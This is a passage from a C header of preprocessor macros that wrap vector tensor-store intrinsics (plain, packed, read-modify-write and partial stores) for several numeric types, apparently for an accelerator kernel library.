t, v, 1, 0)\n#define u16_st_tnsr_i_v(n, t, v) u16_st_tnsr_i_v_b(n, t, v, 1, 0)\n#define i8_st_tnsr_i_v(n, t, v) i8_st_tnsr_i_v_b(n, t, v, 1, 0)\n#define u8_st_tnsr_i_v(n, t, v) u8_st_tnsr_i_v_b(n, t, v, 1, 0)\n#define st_tnsr_i_bv(n, t, v) st_tnsr_i_bv_b(n, t, v, 1, 0)\n\n#define f32_st_tnsr_pack_i_v_b(n, t, v, p, o) v_f32_st_tnsr(n, t, v, SW_PACK, p, o)\n#define bf16_st_tnsr_pack_i_v_b(n, t, v, p, o) v_bf16_st_tnsr(n, t, v, SW_PACK, p, o)\n#define i32_st_tnsr_pack_i_v_b(n, t, v, p, o) v_i32_st_tnsr(n, t, v, SW_PACK, p, o)\n#define u32_st_tnsr_pack_i_v_b(n, t, v, p, o) v_u32_st_tnsr(n, t, v, SW_PACK, p, o)\n#define i16_st_tnsr_pack_i_v_b(n, t, v, p, o) v_i16_st_tnsr(n, t, v, SW_PACK, p, o)\n#define u16_st_tnsr_pack_i_v_b(n, t, v, p, o) v_u16_st_tnsr(n, t, v, SW_PACK, p, o)\n#define i8_st_tnsr_pack_i_v_b(n, t, v, p, o) v_i8_st_tnsr(n, t, v, SW_PACK, p, o)\n#define u8_st_tnsr_pack_i_v_b(n, t, v, p, o) v_u8_st_tnsr(n, t, v, SW_PACK, p, o)\n\n#define f32_st_tnsr_pack_i_v(n, t, v) f32_st_tnsr_pack_i_v_b(n, t, v, 1, 0)\n#define bf16_st_tnsr_pack_i_v(n, t, v) bf16_st_tnsr_pack_i_v_b(n, t, v, 1, 0)\n#define f16_st_tnsr_pack_i_v(n, t, v) f16_st_tnsr_pack_i_v_b(n, t, v, 1, 0)\n#define i32_st_tnsr_pack_i_v(n, t, v) i32_st_tnsr_pack_i_v_b(n, t, v, 1, 0)\n#define u32_st_tnsr_pack_i_v(n, t, v) u32_st_tnsr_pack_i_v_b(n, t, v, 1, 0)\n#define i16_st_tnsr_pack_i_v(n, t, v) i16_st_tnsr_pack_i_v_b(n, t, v, 1, 0)\n#define u16_st_tnsr_pack_i_v(n, t, v) u16_st_tnsr_pack_i_v_b(n, t, v, 1, 0)\n#define i8_st_tnsr_pack_i_v(n, t, v) i8_st_tnsr_pack_i_v_b(n, t, v, 1, 0)\n#define u8_st_tnsr_pack_i_v(n, t, v) u8_st_tnsr_pack_i_v_b(n, t, v, 1, 0)\n\n#define f32_st_tnsr_reg_i_s_v_b f32_st_tnsr_i_v_b\n#define bf16_st_tnsr_reg_i_s_v_b bf16_st_tnsr_i_v_b\n#define f16_st_tnsr_reg_i_s_v_b f16_st_tnsr_i_v_b\n#define i32_st_tnsr_reg_i_s_v_b i32_st_tnsr_i_v_b\n#define u32_st_tnsr_reg_i_s_v_b u32_st_tnsr_i_v_b\n#define i16_st_tnsr_reg_i_s_v_b i16_st_tnsr_i_v_b\n#define u16_st_tnsr_reg_i_s_v_b u16_st_tnsr_i_v_b\n#define i8_st_tnsr_reg_i_s_v_b i8_st_tnsr_i_v_b\n#define u8_st_tnsr_reg_i_s_v_b u8_st_tnsr_i_v_b\n#define st_tnsr_reg_i_s_bv_b st_tnsr_i_bv_b\n\n#define f32_st_tnsr_reg_i_s_v f32_st_tnsr_i_v\n#define bf16_st_tnsr_reg_i_s_v bf16_st_tnsr_i_v\n#define f16_st_tnsr_reg_i_s_v f16_st_tnsr_i_v\n#define i32_st_tnsr_reg_i_s_v i32_st_tnsr_i_v\n#define u32_st_tnsr_reg_i_s_v u32_st_tnsr_i_v\n#define i16_st_tnsr_reg_i_s_v i16_st_tnsr_i_v\n#define u16_st_tnsr_reg_i_s_v u16_st_tnsr_i_v\n#define i8_st_tnsr_reg_i_s_v i8_st_tnsr_i_v\n#define u8_st_tnsr_reg_i_s_v u8_st_tnsr_i_v\n#define st_tnsr_reg_i_s_bv st_tnsr_i_bv\n\n#define f32_st_tnsr_reg_pack_i_s_v_b f32_st_tnsr_pack_i_v_b\n#define bf16_st_tnsr_reg_pack_i_s_v_b bf16_st_tnsr_pack_i_v_b\n#define f16_st_tnsr_reg_pack_i_s_v_b f16_st_tnsr_pack_i_v_b\n#define i32_st_tnsr_reg_pack_i_s_v_b i32_st_tnsr_pack_i_v_b\n#define u32_st_tnsr_reg_pack_i_s_v_b u32_st_tnsr_pack_i_v_b\n#define i16_st_tnsr_reg_pack_i_s_v_b i16_st_tnsr_pack_i_v_b\n#define u16_st_tnsr_reg_pack_i_s_v_b u16_st_tnsr_pack_i_v_b\n#define i8_st_tnsr_reg_pack_i_s_v_b i8_st_tnsr_pack_i_v_b\n#define u8_st_tnsr_reg_pack_i_s_v_b u8_st_tnsr_pack_i_v_b\n\n#define f32_st_tnsr_reg_pack_i_s_v f32_st_tnsr_pack_i_v\n#define bf16_st_tnsr_reg_pack_i_s_v bf16_st_tnsr_pack_i_v\n#define f16_st_tnsr_reg_pack_i_s_v f16_st_tnsr_pack_i_v\n#define i32_st_tnsr_reg_pack_i_s_v i32_st_tnsr_pack_i_v\n#define u32_st_tnsr_reg_pack_i_s_v u32_st_tnsr_pack_i_v\n#define i16_st_tnsr_reg_pack_i_s_v i16_st_tnsr_pack_i_v\n#define u16_st_tnsr_reg_pack_i_s_v u16_st_tnsr_pack_i_v\n#define i8_st_tnsr_reg_pack_i_s_v i8_st_tnsr_pack_i_v\n#define u8_st_tnsr_reg_pack_i_s_v u8_st_tnsr_pack_i_v\n\n#define MkRMW(dt, op, rmw, dl) ((dt) | ((op) << 4) | ((rmw) << 6) | ((dl) << 7))\n\n#define f32_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_f32_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define bf16_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_bf16_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define i32_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i32_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define u32_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u32_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define i16_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i16_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define u16_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u16_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define i8_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i8_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define u8_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u8_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n\n#define f32_st_tnsr_rmw_i_v(n, t, v, dt, op, rmw, dl) f32_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define bf16_st_tnsr_rmw_i_v(n, t, v, dt, op, rmw, dl) bf16_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define f16_st_tnsr_rmw_i_v(n, t, v, dt, op, rmw, dl) f16_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i32_st_tnsr_rmw_i_v(n, t, v, dt, op, rmw, dl) i32_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u32_st_tnsr_rmw_i_v(n, t, v, dt, op, rmw, dl) u32_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i16_st_tnsr_rmw_i_v(n, t, v, dt, op, rmw, dl) i16_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u16_st_tnsr_rmw_i_v(n, t, v, dt, op, rmw, dl) u16_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i8_st_tnsr_rmw_i_v(n, t, v, dt, op, rmw, dl) i8_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u8_st_tnsr_rmw_i_v(n, t, v, dt, op, rmw, dl) u8_st_tnsr_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n\n#define f32_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_f32_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define bf16_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_bf16_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define i32_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i32_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define u32_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u32_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define i16_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i16_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define u16_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u16_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define i8_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i8_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define u8_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u8_st_tnsr_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n\n#define f32_st_tnsr_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) f32_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define bf16_st_tnsr_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) bf16_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define f16_st_tnsr_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) f16_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i32_st_tnsr_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) i32_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u32_st_tnsr_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) u32_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i16_st_tnsr_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) i16_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u16_st_tnsr_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) u16_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i8_st_tnsr_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) i8_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u8_st_tnsr_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) u8_st_tnsr_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n\n#define f32_st_tnsr_reg_rmw_i_s_v_b f32_st_tnsr_rmw_i_v_b\n#define bf16_st_tnsr_reg_rmw_i_s_v_b bf16_st_tnsr_rmw_i_v_b\n#define f16_st_tnsr_reg_rmw_i_s_v_b f16_st_tnsr_rmw_i_v_b\n#define i32_st_tnsr_reg_rmw_i_s_v_b i32_st_tnsr_rmw_i_v_b\n#define u32_st_tnsr_reg_rmw_i_s_v_b u32_st_tnsr_rmw_i_v_b\n#define i16_st_tnsr_reg_rmw_i_s_v_b i16_st_tnsr_rmw_i_v_b\n#define u16_st_tnsr_reg_rmw_i_s_v_b u16_st_tnsr_rmw_i_v_b\n#define i8_st_tnsr_reg_rmw_i_s_v_b i8_st_tnsr_rmw_i_v_b\n#define u8_st_tnsr_reg_rmw_i_s_v_b u8_st_tnsr_rmw_i_v_b\n\n#define f32_st_tnsr_reg_rmw_i_s_v f32_st_tnsr_rmw_i_v\n#define bf16_st_tnsr_reg_rmw_i_s_v bf16_st_tnsr_rmw_i_v\n#define f16_st_tnsr_reg_rmw_i_s_v f16_st_tnsr_rmw_i_v\n#define i32_st_tnsr_reg_rmw_i_s_v i32_st_tnsr_rmw_i_v\n#define u32_st_tnsr_reg_rmw_i_s_v u32_st_tnsr_rmw_i_v\n#define i16_st_tnsr_reg_rmw_i_s_v i16_st_tnsr_rmw_i_v\n#define u16_st_tnsr_reg_rmw_i_s_v u16_st_tnsr_rmw_i_v\n#define i8_st_tnsr_reg_rmw_i_s_v i8_st_tnsr_rmw_i_v\n#define u8_st_tnsr_reg_rmw_i_s_v u8_st_tnsr_rmw_i_v\n\n#define f32_st_tnsr_reg_rmw_pack_i_s_v_b f32_st_tnsr_rmw_pack_i_v_b\n#define bf16_st_tnsr_reg_rmw_pack_i_s_v_b bf16_st_tnsr_rmw_pack_i_v_b\n#define f16_st_tnsr_reg_rmw_pack_i_s_v_b f16_st_tnsr_rmw_pack_i_v_b\n#define i32_st_tnsr_reg_rmw_pack_i_s_v_b i32_st_tnsr_rmw_pack_i_v_b\n#define u32_st_tnsr_reg_rmw_pack_i_s_v_b u32_st_tnsr_rmw_pack_i_v_b\n#define i16_st_tnsr_reg_rmw_pack_i_s_v_b i16_st_tnsr_rmw_pack_i_v_b\n#define u16_st_tnsr_reg_rmw_pack_i_s_v_b u16_st_tnsr_rmw_pack_i_v_b\n#define i8_st_tnsr_reg_rmw_pack_i_s_v_b i8_st_tnsr_rmw_pack_i_v_b\n#define u8_st_tnsr_reg_rmw_pack_i_s_v_b u8_st_tnsr_rmw_pack_i_v_b\n\n#define f32_st_tnsr_reg_rmw_pack_i_s_v f32_st_tnsr_rmw_pack_i_v\n#define bf16_st_tnsr_reg_rmw_pack_i_s_v bf16_st_tnsr_rmw_pack_i_v\n#define f16_st_tnsr_reg_rmw_pack_i_s_v f16_st_tnsr_rmw_pack_i_v\n#define i32_st_tnsr_reg_rmw_pack_i_s_v i32_st_tnsr_rmw_pack_i_v\n#define u32_st_tnsr_reg_rmw_pack_i_s_v u32_st_tnsr_rmw_pack_i_v\n#define i16_st_tnsr_reg_rmw_pack_i_s_v i16_st_tnsr_rmw_pack_i_v\n#define u16_st_tnsr_reg_rmw_pack_i_s_v u16_st_tnsr_rmw_pack_i_v\n#define i8_st_tnsr_reg_rmw_pack_i_s_v i8_st_tnsr_rmw_pack_i_v\n#define u8_st_tnsr_reg_rmw_pack_i_s_v u8_st_tnsr_rmw_pack_i_v\n\n#define f32_st_tnsr_partial_i_v_b(n, t, v, s, f, p, o) v_f32_st_tnsr_partial(n, t, v, s, f, 0, p, o)\n#define bf16_st_tnsr_partial_i_v_b(n, t, v, s, f, p, o) v_bf16_st_tnsr_partial(n, t, v, s, f, 0, p, o)\n#define i32_st_tnsr_partial_i_v_b(n, t, v, s, f, p, o) v_i32_st_tnsr_partial(n, t, v, s, f, 0, p, o)\n#define u32_st_tnsr_partial_i_v_b(n, t, v, s, f, p, o) v_u32_st_tnsr_partial(n, t, v, s, f, 0, p, o)\n#define i16_st_tnsr_partial_i_v_b(n, t, v, s, f, p, o) v_i16_st_tnsr_partial(n, t, v, s, f, 0, p, o)\n#define u16_st_tnsr_partial_i_v_b(n, t, v, s, f, p, o) v_u16_st_tnsr_partial(n, t, v, s, f, 0, p, o)\n#define i8_st_tnsr_partial_i_v_b(n, t, v, s, f, p, o) v_i8_st_tnsr_partial(n, t, v, s, f, 0, p, o)\n#define u8_st_tnsr_partial_i_v_b(n, t, v, s, f, p, o) v_u8_st_tnsr_partial(n, t, v, s, f, 0, p, o)\n\n#define f32_st_tnsr_partial_i_v(n, t, v, s, f) f32_st_tnsr_partial_i_v_b(n, t, v,s, f, 1, 0)\n#define bf16_st_tnsr_partial_i_v(n, t, v, s, f) bf16_st_tnsr_partial_i_v_b(n, t, v,s, f, 1, 0)\n#define f16_st_tnsr_partial_i_v(n, t, v, s, f) f16_st_tnsr_partial_i_v_b(n, t, v,s, f, 1, 0)\n#define i32_st_tnsr_partial_i_v(n, t, v, s, f) i32_st_tnsr_partial_i_v_b(n, t, v,s, f, 1, 0)\n#define u32_st_tnsr_partial_i_v(n, t, v, s, f) u32_st_tnsr_partial_i_v_b(n, t, v,s, f, 1, 0)\n#define i16_st_tnsr_partial_i_v(n, t, v, s, f) i16_st_tnsr_partial_i_v_b(n, t, v,s, f, 1, 0)\n#define u16_st_tnsr_partial_i_v(n, t, v, s, f) u16_st_tnsr_partial_i_v_b(n, t, v,s, f, 1, 0)\n#define i8_st_tnsr_partial_i_v(n, t, v, s, f) i8_st_tnsr_partial_i_v_b(n, t, v,s, f, 1, 0)\n#define u8_st_tnsr_partial_i_v(n, t, v, s, f) u8_st_tnsr_partial_i_v_b(n, t, v,s, f, 1, 0)\n\n#define f32_st_tnsr_partial_pack_i_v_b(n, t, v, s, f, p, o) v_f32_st_tnsr_partial(n, t, v, s, f, SW_PACK, p, o)\n#define bf16_st_tnsr_partial_pack_i_v_b(n, t, v, s, f, p, o) v_bf16_st_tnsr_partial(n, t, v, s, f, SW_PACK, p, o)\n#define i32_st_tnsr_partial_pack_i_v_b(n, t, v, s, f, p, o) v_i32_st_tnsr_partial(n, t, v, s, f, SW_PACK, p, o)\n#define u32_st_tnsr_partial_pack_i_v_b(n, t, v, s, f, p, o) v_u32_st_tnsr_partial(n, t, v, s, f, SW_PACK, p, o)\n#define i16_st_tnsr_partial_pack_i_v_b(n, t, v, s, f, p, o) v_i16_st_tnsr_partial(n, t, v, s, f, SW_PACK, p, o)\n#define u16_st_tnsr_partial_pack_i_v_b(n, t, v, s, f, p, o) v_u16_st_tnsr_partial(n, t, v, s, f, SW_PACK, p, o)\n#define i8_st_tnsr_partial_pack_i_v_b(n, t, v, s, f, p, o) v_i8_st_tnsr_partial(n, t, v, s, f, SW_PACK, p, o)\n#define u8_st_tnsr_partial_pack_i_v_b(n, t, v, s, f, p, o) v_u8_st_tnsr_partial(n, t, v, s, f, SW_PACK, p, o)\n\n#define f32_st_tnsr_partial_pack_i_v(n, t, v, s, f) f32_st_tnsr_partial_pack_i_v_b(n, t, v,s, f, 1, 0)\n#define bf16_st_tnsr_partial_pack_i_v(n, t, v, s, f) bf16_st_tnsr_partial_pack_i_v_b(n, t, v,s, f, 1, 0)\n#define f16_st_tnsr_partial_pack_i_v(n, t, v, s, f) f16_st_tnsr_partial_pack_i_v_b(n, t, v,s, f, 1, 0)\n#define i32_st_tnsr_partial_pack_i_v(n, t, v, s, f) i32_st_tnsr_partial_pack_i_v_b(n, t, v,s, f, 1, 0)\n#define u32_st_tnsr_partial_pack_i_v(n, t, v, s, f) u32_st_tnsr_partial_pack_i_v_b(n, t, v,s, f, 1, 0)\n#define i16_st_tnsr_partial_pack_i_v(n, t, v, s, f) i16_st_tnsr_partial_pack_i_v_b(n, t, v,s, f, 1, 0)\n#define u16_st_tnsr_partial_pack_i_v(n, t, v, s, f) u16_st_tnsr_partial_pack_i_v_b(n, t, v,s, f, 1, 0)\n#define i8_st_tnsr_partial_pack_i_v(n, t, v, s, f) i8_st_tnsr_partial_pack_i_v_b(n, t, v,s, f, 1, 0)\n#define u8_st_tnsr_partial_pack_i_v(n, t, v, s, f) u8_st_tnsr_partial_pack_i_v_b(n, t, v,s, f, 1, 0)\n\n#define f32_st_tnsr_partial_reg_i_s_v_b f32_st_tnsr_partial_i_v_b\n#define bf16_st_tnsr_partial_reg_i_s_v_b bf16_st_tnsr_partial_i_v_b\n#define f16_st_tnsr_partial_reg_i_s_v_b f16_st_tnsr_partial_i_v_b\n#define i32_st_tnsr_partial_reg_i_s_v_b i32_st_tnsr_partial_i_v_b\n#define u32_st_tnsr_partial_reg_i_s_v_b u32_st_tnsr_partial_i_v_b\n#define i16_st_tnsr_partial_reg_i_s_v_b i16_st_tnsr_partial_i_v_b\n#define u16_st_tnsr_partial_reg_i_s_v_b u16_st_tnsr_partial_i_v_b\n#define i8_st_tnsr_partial_reg_i_s_v_b i8_st_tnsr_partial_i_v_b\n#define u8_st_tnsr_partial_reg_i_s_v_b u8_st_tnsr_partial_i_v_b\n\n#define f32_st_tnsr_partial_reg_i_s_v f32_st_tnsr_partial_i_v\n#define bf16_st_tnsr_partial_reg_i_s_v bf16_st_tnsr_partial_i_v\n#define f16_st_tnsr_partial_reg_i_s_v f16_st_tnsr_partial_i_v\n#define i32_st_tnsr_partial_reg_i_s_v i32_st_tnsr_partial_i_v\n#define u32_st_tnsr_partial_reg_i_s_v u32_st_tnsr_partial_i_v\n#define i16_st_tnsr_partial_reg_i_s_v i16_st_tnsr_partial_i_v\n#define u16_st_tnsr_partial_reg_i_s_v u16_st_tnsr_partial_i_v\n#define i8_st_tnsr_partial_reg_i_s_v i8_st_tnsr_partial_i_v\n#define u8_st_tnsr_partial_reg_i_s_v u8_st_tnsr_partial_i_v\n\n#define f32_st_tnsr_partial_reg_pack_i_s_v_b f32_st_tnsr_partial_pack_i_v_b\n#define bf16_st_tnsr_partial_reg_pack_i_s_v_b bf16_st_tnsr_partial_pack_i_v_b\n#define f16_st_tnsr_partial_reg_pack_i_s_v_b f16_st_tnsr_partial_pack_i_v_b\n#define i32_st_tnsr_partial_reg_pack_i_s_v_b i32_st_tnsr_partial_pack_i_v_b\n#define u32_st_tnsr_partial_reg_pack_i_s_v_b u32_st_tnsr_partial_pack_i_v_b\n#define i16_st_tnsr_partial_reg_pack_i_s_v_b i16_st_tnsr_partial_pack_i_v_b\n#define u16_st_tnsr_partial_reg_pack_i_s_v_b u16_st_tnsr_partial_pack_i_v_b\n#define i8_st_tnsr_partial_reg_pack_i_s_v_b i8_st_tnsr_partial_pack_i_v_b\n#define u8_st_tnsr_partial_reg_pack_i_s_v_b u8_st_tnsr_partial_pack_i_v_b\n\n#define f32_st_tnsr_partial_reg_pack_i_s_v f32_st_tnsr_partial_pack_i_v\n#define bf16_st_tnsr_partial_reg_pack_i_s_v bf16_st_tnsr_partial_pack_i_v\n#define f16_st_tnsr_partial_reg_pack_i_s_v f16_st_tnsr_partial_pack_i_v\n#define i32_st_tnsr_partial_reg_pack_i_s_v i32_st_tnsr_partial_pack_i_v\n#define u32_st_tnsr_partial_reg_pack_i_s_v u32_st_tnsr_partial_pack_i_v\n#define i16_st_tnsr_partial_reg_pack_i_s_v i16_st_tnsr_partial_pack_i_v\n#define u16_st_tnsr_partial_reg_pack_i_s_v u16_st_tnsr_partial_pack_i_v\n#define i8_st_tnsr_partial_reg_pack_i_s_v i8_st_tnsr_partial_pack_i_v\n#define u8_st_tnsr_partial_reg_pack_i_s_v u8_st_tnsr_partial_pack_i_v\n\n#define f32_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_f32_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, 0, p, o)\n#define bf16_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_bf16_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, 0, p, o)\n#define i32_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_i32_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, 0, p, o)\n#define u32_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_u32_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, 0, p, o)\n#define i16_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_i16_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, 0, p, o)\n#define u16_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_u16_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, 0, p, o)\n#define i8_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_i8_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, 0, p, o)\n#define u8_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_u8_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, 0, p, o)\n\n#define f32_st_tnsr_partial_rmw_i_v(n, t, v, dt, op, rmw, dl, s, f) f32_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define bf16_st_tnsr_partial_rmw_i_v(n, t, v, dt, op, rmw, dl, s, f) bf16_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define f16_st_tnsr_partial_rmw_i_v(n, t, v, dt, op, rmw, dl, s, f) f16_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define i32_st_tnsr_partial_rmw_i_v(n, t, v, dt, op, rmw, dl, s, f) i32_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define u32_st_tnsr_partial_rmw_i_v(n, t, v, dt, op, rmw, dl, s, f) u32_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define i16_st_tnsr_partial_rmw_i_v(n, t, v, dt, op, rmw, dl, s, f) i16_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define u16_st_tnsr_partial_rmw_i_v(n, t, v, dt, op, rmw, dl, s, f) u16_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define i8_st_tnsr_partial_rmw_i_v(n, t, v, dt, op, rmw, dl, s, f) i8_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define u8_st_tnsr_partial_rmw_i_v(n, t, v, dt, op, rmw, dl, s, f) u8_st_tnsr_partial_rmw_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n\n#define f32_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_f32_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, SW_PACK, p, o)\n#define bf16_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_bf16_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, SW_PACK, p, o)\n#define i32_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_i32_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, SW_PACK, p, o)\n#define u32_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_u32_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, SW_PACK, p, o)\n#define i16_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_i16_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, SW_PACK, p, o)\n#define u16_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_u16_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, SW_PACK, p, o)\n#define i8_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_i8_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, SW_PACK, p, o)\n#define u8_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, p, o) v_u8_st_tnsr_partial_rmw(n, t, v, MkRMW(dt, op, rmw, dl), s, f, SW_PACK, p, o)\n\n#define f32_st_tnsr_partial_rmw_pack_i_v(n, t, v, dt, op, rmw, dl, s, f) f32_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define bf16_st_tnsr_partial_rmw_pack_i_v(n, t, v, dt, op, rmw, dl, s, f) bf16_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define f16_st_tnsr_partial_rmw_pack_i_v(n, t, v, dt, op, rmw, dl, s, f) f16_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define i32_st_tnsr_partial_rmw_pack_i_v(n, t, v, dt, op, rmw, dl, s, f) i32_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define u32_st_tnsr_partial_rmw_pack_i_v(n, t, v, dt, op, rmw, dl, s, f) u32_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define i16_st_tnsr_partial_rmw_pack_i_v(n, t, 